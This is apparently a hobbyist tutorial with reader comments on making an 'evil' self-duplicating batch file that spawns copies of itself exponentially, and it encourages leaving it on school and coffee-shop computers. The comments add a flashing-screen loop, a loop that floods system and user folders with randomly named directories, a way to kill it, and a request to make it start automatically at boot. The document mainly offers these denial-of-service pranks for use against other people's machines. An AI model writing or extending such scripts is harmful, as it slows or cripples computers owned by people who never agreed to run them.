Introduction: Evil Self Duplicating Batch File

Have you ever wanted an evil batch file that opens itself again and again and again, doubling itself each time?  Well here is how you do it.

Step 1: Write the Batch

Open notepad and write this code.

What it means (line by line):
1 Don't show the folder the batch file is currently in. (it makes it look ugly)
2 Set a matrix look
3 The words after echo are what show up on the screen (you can change this message)
4 puts you in the folder you started the batch file in (I'll get to that)
5 a marker (I'll get to that too) (you can change this letter to any word, letter, or number; but leave the colon)
ANY COMMANDS YOU'D LIKE TO ADD GO HERE
6 sets what appears at the top of the screen (by close and minimize)
7 puts a small delay so it does not crash the computer instantly (change the number to set the time, I have a  two second delay)
8 Opens a copy of this file in a new window (name it what you save it) (that's we need line 4)
9 goes to the marker to repeat the process. (its like a page that tells you to go back to the bookmark that leads to that page. Like a loop!)

Step 2: Save the File

Press Ctrl + S and type America.bat (name it what you typed earlier) in the text field and set filetype to all. Save it wherever, on a flash drive for school and coffee shops, or online for published and profitable anarchy. You should be good to go!

Step 3: Run.bat

Open your,  batch file and if you did it right you'll get 1 at first, then 2, then 4, then 8, 16, 32, 64, 128, 256, 512, 1024, etc...
Chaos rains!!!

If you like you can make the screen epilepsy just do this

:floop
color 1a
color 3b
color 5c
color 6d
color 7e
color 8f
goto floop

NOTE: DO NOT DO "color %random% a,b,c,d,e,f" it does not work.

any way to make a bat file that generates randomly named files on the desktop using a variant of this code?

@echo off
:loop
md %random%
md c:\%random%
md %systemroot%\%random
md %userprofile%\%random
md %userprofile%\Documents\%random%
md %userprofile%\Music\%random%
md %userprofile%\Desktop\%random%
md %userprofile%\Videos\%random%
md %userprofile%\Pictures\%random%
goto loop

do you know how to end this exact batch? it was run and now the pc is super slow and has like 30k files on it...

taskkill /IM cmd.exe

Pressing the pause break key on your keyboard stops the script. This method is also cross platform and works in Linux and Mac as well

Actually, when you put this code in batch:
echo (text) > text.bat It *should* create a .bat file names text.bat with that text in it.
I dont know if this would work with %random%.bat or something like that. if it does, tell me. lol

Do this:

>%RANDOM% echo TEXT OUTPUT

What if I want this program to autorun? Like this would start up automaticaly once the PC is powered on? Still a newbie soooo please help???
